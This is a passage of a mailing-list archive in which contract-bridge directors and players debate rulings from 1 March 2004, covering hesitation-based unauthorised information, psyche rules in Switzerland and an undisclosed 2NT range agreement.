From rui.mlmarques@netvisao.pt Mon Mar 1 01:25:48 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Mon, 1 Mar 2004 01:25:48 -0000 Subject: [blml] An example of how to and how not to... In-Reply-To: <002001c3ff20$04a47930$aa26e150@endicott> Message-ID: <000201c3ff2c$238a0e80$0201a8c0@rui> Grattan Endicott References: <5.2.0.9.0.20040227081206.01fa9280@pop.starpower.net> <5.2.0.9.0.20040226081958.01fed640@pop.starpower.net> <5.2.0.9.0.20040225084328.026fbbb0@pop.starpower.net> <004f01c3fc45$86c5aa70$04f8f0c3@LNV> <5.2.0.9.0.20040226081958.01fed640@pop.starpower.net> <5.2.0.9.0.20040227081206.01fa9280@pop.starpower.net> <312yhCGv13PAFwWV@blakjak.demon.co.uk> <5.2.0.9.0.20040227170417.01fa8070@pop.starpower.net> Message-ID: Eric Landau wrote >At 12:25 PM 2/27/04, David wrote: > >>Eric Landau wrote >>> >>>David may well be correct. That better players lose out sometimes is >>>surely true; whether it evens out in the long run is arguable. But >>>we weren't talking about reality; we were talking about how that >>>reality is perceived -- rightly or wrongly -- by the overwhelming >>>mass of players out there. As I said before, "educating" those >>>players by repeatedly telling them "it's just not true" isn't going >>>to hack it. Whether or not the law is biased towards the experts, the >>>majority believe that it is. That's a problem, and will remain a >>>problem as long as there are different rules for experts and non- >>>experts. It is, fortunately, a problem we can easily fix by making >>>the law strictly "class-of-player-neutral". >> >> I do not believe it! My experience is that the better players are >>sure it is biased towards the poorer players: the poorer players are >>sure it is biased towards the better players. > >That may be true, but in my experience there are a hell of a lot more >poorer players out there than there are better ones. > >> I also think that your fix will make it so clearly unfair that you >>will change it from a general mild feeling of dissatisfaction to a >>major feeling of dissatisfaction, and quite justified. > >The devil is in the details; there are lots of ways to make any >particular law class-of-player-neutral. Perhaps if we treat bunnies as >we now treat experts, there would be widespread dissatisfaction, but I >don't see it happening if we treat experts as we now treat bunnies. >Any dissatisfaction on the part of the experts will be more than >outweighed by the increased satisfaction on the part of the bunnies >from seeing the experts get treated "like everybody else" -- which is >all they've every asked for. I still do not believe it for a moment. What you are doing is ignoring the majority. Most players are medium. They will not accept being treated like bunnies. What you really are getting wrong is the idea that anything is better. Just because people choose not to understand something does not make it wrong. Your Brave New World will be perceived as unfair. >> When you "give redress" to an expert treating him like a medium to >>mediocre player is not giving him redress: it is not fair. When you >>"give redress" to a novice treating him like a medium to mediocre >>player is not giving him redress: it is not fair. >> >> Rather than worry about a non-event why not let us make sure the >>Law is as fair as possible and then educate the players? Much better >>than putting in unfair Laws for cosmetic purposes. > >We shouldn't confuse fairness with equity; they are two different >things. Equity -- what David wants -- means everybody gets what they >deserve: "to each his just desserts". Fairness -- what most players >want -- means everybody gets the same treatment: "Justice is blind". Ah - a Utopian. Fortunately there are enough people who realise utopia never will work. I want fairness. Nothing you do will make the majority believe in fairness, so we shall just have ot have fairness without the perception. >If we make the law class-of-player-neutral, we will give up some equity >for what we will gain in fairness. Nah, we shall just get different moaning from the majority - and now the people who understand will also be upset. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 1 01:36:10 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 1 Mar 2004 01:36:10 +0000 Subject: [blml] Copied from RGB In-Reply-To: <000001c3fd60$9bfe06f0$6900a8c0@WINXP> References: <$F2wtqGs33PAFwU3@blakjak.demon.co.uk> <000001c3fd60$9bfe06f0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >But frankly I do not think the riddle is "honest"; the auction did not end >where the story told us to believe it ended, and much can happen (and did >happen) in a continued auction. Even on BLML we are allowed some fun occasionally, Sven. There are enough totally boring threads to keep everyone with no sense of humour happy for evermore. A riddle is honest if it tells the truth. If a riddle includes every detail it becomes worthless as a riddle, and pointless to publish it. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 1 01:37:42 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 1 Mar 2004 01:37:42 +0000 Subject: [blml] Copied from RGB In-Reply-To: References: Message-ID: David Stevenson wrote > >Today something very unusal happened. > >We were vulnerable, and we bid 4 hearts, which the opponents doubled. >The doubling opponent had three safe trump tricks, all of which he won. >Opponents also had an ace, which they won. >And there was a finesse in spades which could not be avoided, and it >failed. The opponents thus won five tricks. > >None of the opponents revoked. > >Still we only had to pay out 100 points. > > >Can anyone figure out why? After you bid 4H, LHO doubled, but his partner pulled it - to 2S! So, being warned about the fate of 4H you accept the IB and bid 3H which ends the auction. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 1 01:38:54 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 1 Mar 2004 01:38:54 +0000 Subject: [blml] Swiss psyches In-Reply-To: References: Message-ID: Victor Badran wrote >I do it from time to time. >They do it against me from time to time. > >And they do it also when I'm directing. > >They are not registered for it and so it can become part of the system. I think I may have not made myself clear. Is it always legal to psyche an opening in Switzerland? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 1 01:42:13 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 1 Mar 2004 01:42:13 +0000 Subject: [blml] An example of how to and how not to... In-Reply-To: <002001c3ff20$04a47930$aa26e150@endicott> References: <000301c3fd20$7a8e41f0$0201a8c0@rui> <403F39B7.5060601@hdw.be> <001501c3fef6$87d06fa0$0b02110a@amnet.co.cr> <002001c3ff20$04a47930$aa26e150@endicott> Message-ID: Grattan Endicott wrote >+=+ Do we have a clear idea of the meaning >of double in this position? I would expect it to >announce that the pre-empt has unexpectedly >strong values - but not to suggest a defensive >holding or a stop - leaving ti to partner to >decide what to do about it. But there will be >partnerships that have not explored the question, >or with alternative ideas. It is probably the way basic approaches to bidding have changed. I remember reading in Bridge Magazine when it was called that and small - say thirty years ago - of the sequence 3H 3S P P X The doubler held something like K9xx AQTxxxx x xx and duly netted a useful 700 or so. But I tend to agree that nowadays if my partner doubled I would not expect length in trumps. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 1 01:59:32 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 1 Mar 2004 01:59:32 +0000 Subject: [blml] An example of how to and how not to... In-Reply-To: References: <000301c3fd20$7a8e41f0$0201a8c0@rui> <403F39B7.5060601@hdw.be> <001501c3fef6$87d06fa0$0b02110a@amnet.co.cr> <002001c3ff20$04a47930$aa26e150@endicott> Message-ID: <$Yzg6nLEkpQAFwtk@blakjak.demon.co.uk> David Stevenson wrote >Grattan Endicott wrote > >>+=+ Do we have a clear idea of the meaning >>of double in this position? I would expect it to >>announce that the pre-empt has unexpectedly >>strong values - but not to suggest a defensive >>holding or a stop - leaving ti to partner to >>decide what to do about it. But there will be >>partnerships that have not explored the question, >>or with alternative ideas. > > It is probably the way basic approaches to bidding have changed. I >remember reading in Bridge Magazine when it was called that and small - >say thirty years ago - of the sequence > > 3H 3S P P > X > > The doubler held something like > > K9xx > AQTxxxx > x > xx > >and duly netted a useful 700 or so. But I tend to agree that nowadays >if my partner doubled I would not expect length in trumps. All right, all right. So he should have counted his cards. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From john@asimere.com Mon Mar 1 05:50:08 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 1 Mar 2004 05:50:08 +0000 Subject: [blml] Black hole problem In-Reply-To: <496DD00D-6AF4-11D8-BF01-0003936A6522@gordonrainsford.co.uk> References: <496DD00D-6AF4-11D8-BF01-0003936A6522@gordonrainsford.co.uk> Message-ID: In article <496DD00D-6AF4-11D8-BF01-0003936A6522@gordonrainsford.co.uk>, Gordon Rainsford writes > >On 26 Feb 2004, at 07:18, Ed Reppert wrote: > >> >> On Wednesday, Feb 25, 2004, at 12:47 US/Eastern, Adam Beneschan wrote: >> >>> Well . . . the calendar established in 1583 (which Norway didn't adopt >>> until 1700 -- at least you guys didn't botch up the change the way the >>> Swedish did) wasn't substantially different from the previous >>> calendar; only the leap year calculation changed. The previous >>> calendar had been around since the ancient Romans. >> >> The current year is 2757 AUC. Or 5764 (I think) in the Hebrew >> calendar. Or 4702 in the Chinese calendar (a year of the Monkey). :-) > >1996 in Ethiopia. MadDog wins enormous bet with himself :) cheers John > >-- >Gordon Rainsford >London UK > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From hermandw@hdw.be Mon Mar 1 08:21:21 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 01 Mar 2004 09:21:21 +0100 Subject: [blml] An example of how to and how not to... In-Reply-To: <001501c3fef6$87d06fa0$0b02110a@amnet.co.cr> References: <000301c3fd20$7a8e41f0$0201a8c0@rui> <403F39B7.5060601@hdw.be> <001501c3fef6$87d06fa0$0b02110a@amnet.co.cr> Message-ID: <4042F281.7060701@hdw.be> John Mac Gregor wrote: > | Rui Marques wrote: > | > | > A player has, nobody vul > | > > | > S J > | > H Kx > | > D AQ10xxxx > | > C xx > | > > | > And after a first pass from RHO opens with 3D. 3S by RHO, Pass after an > | > agreed hesitation, Pass, and at this moment the player finds out that he > | > has an extra card glued to the SJ, which is the SA. It just happened > | > this week around here. > | > > | > Now the hand becomes > | > > | > S AJ > | > H Kx > | > D AQ10xxxx > | > C xx > | > > | > And the player decides to double, for +800. TD! > | > [snip] > | > | However, I think we could get a number of 3NT. > | So the question we need to answer is this one: does the UI suggest > | double over 3NT? > | Personally, I don't see any logical reason why it should. > | So I'd let the score stand. > | But I'd be easily convinced to rule differently. > | > > Seems to me that you would get a clear majority for 3nt, as double > may cause you to bypass that contract if partner does not have > spade stop. > So double appears to cater for pd having spades, and if not, > transferable values for 5D. > John > > Let me see if I understand what you are saying. If partner has nothing (no spade stopper, and not enough diamonds to make 5Di), he will not let the double stand, and we have by-passed the making 3NT while ending up in either a low scoring 4Di or a non-making 5Di. So bidding 3NT is a better option. By the hesitation, we can eliminate this possibility (partner either has a spade stopper and will leave the penalty double or bid 3NT, or he has a diamond fit and we'll make 5Di). So doubling is all right. That means that the double is suggested by the hesitation. Subtle, but maybe enough of a demonstration for us to rule that the UI "demonstrably" suggests doubling. I might be OK in ruling the contact to 3NT. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From gesta@tiscali.co.uk Mon Mar 1 08:49:28 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Mon, 1 Mar 2004 08:49:28 -0000 Subject: [blml] Swiss psyches References: Message-ID: <003801c3ff6a$5eb98a60$4e242850@multivisionoem> Grattan Endicott To: Sent: Monday, March 01, 2004 1:38 AM Subject: Re: [blml] Swiss psyches > I think I may have not made myself clear. > > Is it always legal to psyche an opening in > Switzerland? > +=+ I am not clear why we do not ask the Swiss Federation? Nor why your correspondent did not do so. And no doubt the question is about the Swiss regulations - the law requirements to do with psyching obviously apply. If they follow the EBL Systems Policy exactly they would have a statement prohibiting psyches of conventional opening bids (any) in Pairs events and short team matches. ~ Grattan ~ +=+ From twm@cix.co.uk Mon Mar 1 10:53:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 1 Mar 2004 10:53 +0000 (GMT Standard Time) Subject: Fw: Fw: [blml] The WBF [WAS: revokes] In-Reply-To: <006a01c3fe14$56d7f360$7e9868d5@tinyhrieuyik> Message-ID: > [Tim West-Meads] > > I know, whether TDing or playing, that bunnies are largely > > incapable of noticing or making good deductions from > > hesitations. As a player I don't call the TD, as a TD I tell an > > expert who tries to get a score adjustment not to be so stupid. > > Hold bunnies to expert standards and they will suffer. Hold > > experts to bunny standards and they will get away with murder. > > [Nigel] > Players don't realise what they are missing in BLML :) They'd > learn a lot here. Few realise that... > (1) You should use your discretion as to whether or not to call > the TD when there may have been an infraction, especially when > the TD may judge your opponents to be inept. Get real Nigel. If an expert calls the TD and claims to have been misled because someone I know he knows is a novice hesitated in the bidding I will give him short shrift. The phrase "at own risk" springs to mind and, IMO, reading too much into a novice hesitation is plain stupid. > (2) A TD may castigate an expert as "stupid", when he claims > damage from an apparent infraction by such opponents. Technically I'm calling him stupid for imagining that his decision was not made "at own risk" - a fine point perhaps:) Another possibility is that I am calling him stupid for thinking I will allow him to intimidate novices with silly director calls. > (3) Current law depends the TD's past relationship to the > players. Acquaintances or strangers? Friends or enemies? As will any law. My enemies will tend to get slightly more generous rulings than friends as I may overcompensate a bit for the relationship. > Random thoughts... > (a) I suppose Tim would issue a milder warning if the expert > were unaware of Tim's assessment of the opponents' quality :) Of course. > (b) Has Tim considered the feelings of the pair he implicitly > brands as "bunnies"? ;) I suppose that some may not complain, > in their relief at getting away with a possible infraction :) > but how will they ever learn correct protocol? I don't brand anyone "bunnies". Amongst regulars I know which players are experienced/inexperienced. With strangers they will almost always say things like "I haven't been playing very long..." or otherwise reveal their lack of experience. The novices I have taught have had no problem understanding the protocols in *theory*, but are often incapable of working out what partners bid shows - let alone deducing what a tempo break suggests or regarding any call as "clear-cut". > IMO, Tim has his heart in the right place; but, in spite of > David Stevenson's assertions, we "lower-level players" would Nigel, you do not begin to be included in my class of "lower-level players". Tim From blml@blakjak.com Mon Mar 1 12:42:03 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 1 Mar 2004 12:42:03 +0000 Subject: [blml] Swiss psyches In-Reply-To: <003801c3ff6a$5eb98a60$4e242850@multivisionoem> References: <003801c3ff6a$5eb98a60$4e242850@multivisionoem> Message-ID: Grattan Endicott wrote >> I think I may have not made myself clear. >> >> Is it always legal to psyche an opening in >> Switzerland? >+=+ I am not clear why we do not ask the Swiss >Federation? Nor why your correspondent did >not do so. Experience has shown that asking federations direct does not get much in the way of answers. When I have a contact - which I do in many countries but sadly not Switzerland - I find asking them productive. But what is wrong with me asking here on BLML? There are many people here with much experience and knowledge and I see nothing wrong in asking them. As to why people ask me questions I do not know but I am happy that I receive an average of two requests a day for help. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From luis@fuegolabs.com Mon Mar 1 13:02:38 2004 From: luis@fuegolabs.com (Luis Argerich) Date: Mon, 1 Mar 2004 10:02:38 -0300 Subject: [blml] is this valid? Message-ID: <002401c3ff8d$7932f480$a301a8c0@fuegolabs.com> This happened at a local tournament and I'm curious to check what the proper ruling would have been. EW were playing without a CC, under local rules they were then forced to play a standard system (very much like BWS but simpler). East opened 2NT (20-22). West bid 3NT with xxx, Kxxx, xxx, xxx After many tricks were played east had already shown 21hcp and the hK and the hA were already played. So south who was on lead asked declarer if 2NT was always 20-22 and he answered "yes". South proceeded to cash his hJ knowing that declarer can't hold the hQ. Declarer took the hQ and claimed the rest. Had south played a club the contract would have been down, south held: - J - xx Dummy has a low club and the heart ten doubleton South knows his pd has the cK but declarer can hold the cJ. Since his pd can have club K and Qx of hearts or club Kx and Q of hearts cashing the hJ can't cost and is the right play when pd has cK and hQx. South stated that EW seemed to have an undisclosed agreement to open balanced 23 counters with 2NT since west bid 3NT with a bare king and they didn't have a CC to demonstrate 2NT was indeed 20-22. East sustained that he opened with 23 because 22 or 23 was almost the same. East's hand: AKJxx Qxx AKx AQ How would you rule? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.592 / Virus Database: 375 - Release Date: 2/18/2004 From svenpran@online.no Mon Mar 1 13:45:47 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 1 Mar 2004 14:45:47 +0100 Subject: [blml] is this valid? In-Reply-To: <002401c3ff8d$7932f480$a301a8c0@fuegolabs.com> Message-ID: <000001c3ff93$903d55c0$6900a8c0@WINXP> Luis Argerich > This happened at a local tournament and I'm curious to check what the > proper ruling would have been. > > EW were playing without a CC, under local rules they were then forced > to play a standard system (very much like BWS but simpler). > East opened 2NT (20-22). > West bid 3NT with xxx, Kxxx, xxx, xxx ......... > South stated that EW seemed to have an undisclosed agreement to > open balanced 23 counters with 2NT since west bid 3NT with a bare > king and they didn't have a CC to demonstrate 2NT was indeed 20-22. > East sustained that he opened with 23 because 22 or 23 was almost the > same. > > East's hand: > AKJxx > Qxx > AKx > AQ > > How would you rule? First I would want to know what is the agreed opening bid with 23 HCP balanced. (2C or 3NT?) Next I would want to know why East did not open the auction with this "correct" opening bid. And finally, because of the statement by East that he considered 22 and 23 HCP "almost the same" and the apparent fact that West expected more than 20 or 21 HCP in East I would tend to rule that East and West probably had an undisclosed agreement. However, I do not feel comfortable in judging solely upon the available information whether the damage to N/S was caused by this undisclosed agreement, I am normally rather skeptic to calculations by the defense not allowing for a single HCP deviation from an announced limit. (I haven't studied this example in detail so I don't know how I would have ruled here given all the other information I feel that I need). Regards Sven From luis@fuegolabs.com Mon Mar 1 13:57:24 2004 From: luis@fuegolabs.com (Luis Argerich) Date: Mon, 1 Mar 2004 10:57:24 -0300 Subject: [blml] is this valid? References: <000001c3ff93$903d55c0$6900a8c0@WINXP> Message-ID: <005a01c3ff95$1fc4d870$a301a8c0@fuegolabs.com> I'll give you more info as requested: ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Monday, March 01, 2004 10:45 AM Subject: RE: [blml] is this valid? > Luis Argerich > > This happened at a local tournament and I'm curious to check what the > > proper ruling would have been. > > > > EW were playing without a CC, under local rules they were then forced > > to play a standard system (very much like BWS but simpler). > > East opened 2NT (20-22). > > West bid 3NT with xxx, Kxxx, xxx, xxx > ......... > > South stated that EW seemed to have an undisclosed agreement to > > open balanced 23 counters with 2NT since west bid 3NT with a bare > > king and they didn't have a CC to demonstrate 2NT was indeed 20-22. > > East sustained that he opened with 23 because 22 or 23 was almost the > > same. > > > > East's hand: > > AKJxx > > Qxx > > AKx > > AQ > > > > How would you rule? > > First I would want to know what is the agreed opening bid with 23 HCP > balanced. (2C or 3NT?) 2c > Next I would want to know why East did not open the auction with this > "correct" opening bid. He said because 22 or 23 was the same for him. > And finally, because of the statement by East that he considered 22 and 23 > HCP "almost the same" and the apparent fact that West expected more than 20 > or 21 HCP in East I would tend to rule that East and West probably had an > undisclosed agreement. Is the lack of a CC important in this decision? To me it is crucial but maybe I'm wrong. > However, I do not feel comfortable in judging solely upon the available > information whether the damage to N/S was caused by this undisclosed > agreement, I am normally rather skeptic to calculations by the defense not > allowing for a single HCP deviation from an announced limit. (I haven't > studied this example in detail so I don't know how I would have ruled here > given all the other information I feel that I need). If you need more info let me know. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.592 / Virus Database: 375 - Release Date: 2/18/2004 From svenpran@online.no Mon Mar 1 14:13:11 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 1 Mar 2004 15:13:11 +0100 Subject: [blml] is this valid? In-Reply-To: <005a01c3ff95$1fc4d870$a301a8c0@fuegolabs.com> Message-ID: <000001c3ff97$547193e0$6900a8c0@WINXP> Luis Argerich > I'll give you more info as requested: ......... > > First I would want to know what is the agreed opening bid with 23 HCP > > balanced. (2C or 3NT?) > > 2c > > > Next I would want to know why East did not open the auction with this > > "correct" opening bid. > > He said because 22 or 23 was the same for him. It may be for him, but how are opponents to know? > Is the lack of a CC important in this decision? Not really. The CC is one among several possible means to disclose agreements, what is important is the information opponents have received. And not being informed of consistent deviations from published compulsory "standard" agreements is automatically (or should be) considered misinformation. > > > However, I do not feel comfortable in judging solely upon the available > > information whether the damage to N/S was caused by this undisclosed > > agreement, I am normally rather skeptic to calculations by the defense > not > > allowing for a single HCP deviation from an announced limit. (I haven't > > studied this example in detail so I don't know how I would have ruled > here > > given all the other information I feel that I need). > > If you need more info let me know. I don't think so, what I would in case need is some more impressions from the actual situation, the general conditions in the club etc. North and South has apparently been misinformed as to the opening bid, the question is to what extent they can blame their mis-defense caused by an error of 1HCP in their calculation to place key cards on their opponents. But I have a feeling that EW stands at least 50% risk of being ruled against. And if they escape a verdict they should at least have a warning. Regards Sven From fsb@ip-worldcom.ch Mon Mar 1 15:18:03 2004 From: fsb@ip-worldcom.ch (Yvan Calame) Date: Mon, 01 Mar 2004 16:18:03 +0100 Subject: [blml] Swiss psyches In-Reply-To: Message-ID: <3.0.6.32.20040301161803.0120ceb0@ip-worldcom.ch> At 19:15 27/02/2004 +0000, David wrote: > > Are there any restrictions on opening psyches in Swiss events - no, >not Swiss Pairs, etc, I mean events held in Switzerland. > > I am not interested in whether it is legal, just whether it happens. >Can anyone tell me please? > > I seem ot remember that Austria has some such restrictions, but I have >received a query from Switzerland. We do apply EBL System Policy: psychic conventional opening bids are prohibited in pairs tournaments. but I dont know if it is enforced. Yvan From fsb@ip-worldcom.ch Mon Mar 1 17:56:19 2004 From: fsb@ip-worldcom.ch (Yvan Calame) Date: Mon, 01 Mar 2004 18:56:19 +0100 Subject: [blml] Swiss psyches In-Reply-To: <5wbhwtRnA3QAFwOO@blakjak.demon.co.uk> References: <3.0.6.32.20040301162149.0120ceb0@ip-worldcom.ch> <003801c3ff6a$5eb98a60$4e242850@multivisionoem> <003801c3ff6a$5eb98a60$4e242850@multivisionoem> <3.0.6.32.20040301162149.0120ceb0@ip-worldcom.ch> Message-ID: <3.0.6.32.20040301185619.0120ceb0@ip-worldcom.ch> At 17:17 01/03/2004 +0000, David wrote: > Generally speaking, what are the Swiss regs on alerting? Are they in=20 >English anywhere? The Swiss regs are at: http://fsbridge.nexenservices.com/reglem.html (R=E8glement technique de la FSB / Technisches Reglement der FSB (french/german)) they say:=20 - systems: EBL system policy - alerting: EBL alerting policy (both in english) Yvan =20 From ereppert@rochester.rr.com Mon Mar 1 20:39:16 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 1 Mar 2004 15:39:16 -0500 Subject: [blml] Irregularities and calling the TD In-Reply-To: Message-ID: <81D4BAD0-6BC0-11D8-8703-0030656F6826@rochester.rr.com> On Monday, Mar 1, 2004, at 05:53 US/Eastern, Tim West-Meads wrote: >> Nigel Guthrie wrote: >> (2) A TD may castigate an expert as "stupid", when he claims >> damage from an apparent infraction by such opponents. > > Technically I'm calling him stupid for imagining that his decision was > not > made "at own risk" - a fine point perhaps:) Another possibility is > that I > am calling him stupid for thinking I will allow him to intimidate > novices > with silly director calls. Since the law *requires* that the TD be called when attention is drawn to an irregularity, I would not think such a call is, in itself, a claim of damage, no matter who makes it. Nor, come to think of it, would drawing attention to an irregularity be such a claim. Or does someone here want to take the position that an "expert" should not, as a matter of principle, draw attention to an irregularity committed by a "novice"? From ereppert@rochester.rr.com Mon Mar 1 20:56:44 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 1 Mar 2004 15:56:44 -0500 Subject: [blml] is this valid? In-Reply-To: <002401c3ff8d$7932f480$a301a8c0@fuegolabs.com> Message-ID: On Monday, Mar 1, 2004, at 08:02 US/Eastern, Luis Argerich wrote: > How would you rule? Me? Results stands. The argument that the pair didn't have a CC at this point is a bit specious since they weren't playing "their" system by then, they were playing the "standard" system the TD told them to play. BTW, I would think it incumbent on TDs that do that to provide a "standard" card, rather than require the players to waste time filling one out. From gesta@tiscali.co.uk Mon Mar 1 09:09:40 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Mon, 1 Mar 2004 09:09:40 -0000 Subject: [blml] This day, whatever year. References: <496DD00D-6AF4-11D8-BF01-0003936A6522@gordonrainsford.co.uk> Message-ID: <000d01c3ffd3$f914fb30$9e192850@multivisionoem> Grattan Endicott 1996 in Ethiopia. From: "WILLIAM SCHODER" Or I believe 93 in Republic of China, (Taiwan) < +=+ Born again peoples? +=+ From gesta@tiscali.co.uk Mon Mar 1 21:26:32 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Mon, 1 Mar 2004 21:26:32 -0000 Subject: Fw: Fw: [blml] The WBF [WAS: revokes] References: <5.2.0.9.0.20040227081206.01fa9280@pop.starpower.net> <5.2.0.9.0.20040226081958.01fed640@pop.starpower.net> <5.2.0.9.0.20040225084328.026fbbb0@pop.starpower.net> <004f01c3fc45$86c5aa70$04f8f0c3@LNV> <5.2.0.9.0.20040226081958.01fed640@pop.starpower.net> <5.2.0.9.0.20040227081206.01fa9280@pop.starpower.net> <312yhCGv13PAFwWV@blakjak.demon.co.uk> <5.2.0.9.0.20040227170417.01fa8070@pop.starpower.net> Message-ID: <000e01c3ffd3$f9d62850$9e192850@multivisionoem> Grattan Endicott What you really are getting wrong is the idea > that anything is better. Just because people choose > not to understand something does not make it > wrong. Your Brave New World will be perceived > as unfair. > > >> When you "give redress" to an expert treating > >> him like a medium tomediocre player is not giving > >> him redress: it is not fair. When you "give redress" > >> to a novice treating him like a medium to mediocre > >>player is not giving him redress: it is not fair. > >> +=+ Somewhere recently I referred to a concept of "fair conditions of play". A distinction has to be made between fair conditions and fair effects. Fair conditions of play, in my eyes, require equal opportunities for all going in. I doubt any possibility of 99.9% consent on all sides that the effects are fair whatever is the rule. ~ G ~ +=+ From richard.hills@immi.gov.au Mon Mar 1 22:42:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 2 Mar 2004 08:42:13 +1000 Subject: [blml] ABF appeals 2003 Message-ID: A report on ABF appeals in 2003 is located at: http://www.abf.com.au/directors/appeals.html Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From cyaxares@lineone.net Mon Mar 1 22:24:28 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Mon, 1 Mar 2004 22:24:28 -0000 Subject: [blml] Swiss psyches References: <3.0.6.32.20040301161803.0120ceb0@ip-worldcom.ch> Message-ID: <003a01c3ffdc$0992a7c0$b756e150@endicott> Grattan Endicott To: Sent: Monday, March 01, 2004 3:18 PM Subject: Re: [blml] Swiss psyches > > We do apply EBL System Policy: > > psychic conventional opening bids are prohibited > in pairs tournaments. > > but I dont know if it is enforced. > > Yvan > +=+ I am waiting to see the definitive version of the EBL Conditions of Contest for Malmoe. The Systems Policy accompanying the most recent draft I have seen has this: "In EBL Pairs Championships and matches of fewer than 16 boards in EBL team play, psychic conventional opening bids are prohibited." ~ Grattan ~ +=+ From victor@veloblitz.ch Mon Mar 1 22:51:12 2004 From: victor@veloblitz.ch (Victor Badran) Date: Mon, 1 Mar 2004 23:51:12 +0100 Subject: [blml] Swiss psyches (Not for Grattan Thank you) In-Reply-To: <3.0.6.32.20040301161803.0120ceb0@ip-worldcom.ch> References: <3.0.6.32.20040301161803.0120ceb0@ip-worldcom.ch> Message-ID: I can tell you that nobody ever asked or told me to do anything concerning psychs at any tournament I ever did in Switzerland. It means, I was never told to do register any spych to the federation. Sure I have been called to the table to rule with a spych involved. But it never happened with a conventional opening bid. The Swiss are too kind to do these kind of psychs or they know they are not allowed to. Which I don't believe. Ave Victor >At 19:15 27/02/2004 +0000, David wrote: >> >> Are there any restrictions on opening psyches in Swiss events - no, >>not Swiss Pairs, etc, I mean events held in Switzerland. >> >> I am not interested in whether it is legal, just whether it happens. >>Can anyone tell me please? >> >> I seem ot remember that Austria has some such restrictions, but I have >>received a query from Switzerland. > >We do apply EBL System Policy: > >psychic conventional opening bids are prohibited in pairs tournaments. > >but I dont know if it is enforced. > >Yvan > > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml From richard.hills@immi.gov.au Tue Mar 2 00:00:21 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 2 Mar 2004 10:00:21 +1000 Subject: [blml] An example of how to and how not to... Message-ID: Grattan Endicott wrote: >+=3D+ Do we have a clear idea of the meaning >of double in this position? I would expect it to >announce that the pre-empt has unexpectedly >strong values - but not to suggest a defensive >holding or a stop - leaving it to partner to >decide what to do about it. But there will be >partnerships that have not explored the question, >or with alternative ideas. ~ G ~ +=3D+ Richard James Hills alternative ideates: Since I am a believer in the old-fashioned theory that a preempt transfers captaincy to partner, I would deem that an unsolicited double by the preemptor is non-systemic. In the stem case, the preemptor has discovered an extra (doubleton) ace in an opponent's suit. Even then, I would rule that the inept/inopt preemptor has a logical alternative of Pass. S AJ H Kx D AQTxxxx C xx LHO Pard RHO Preemptor --- --- Pass 3D 3S Pass Pass ? It is possible that LHO has been preempted out of 4S, or that pard will misinterpret a reopening double, or that a reopening 3NT will be a 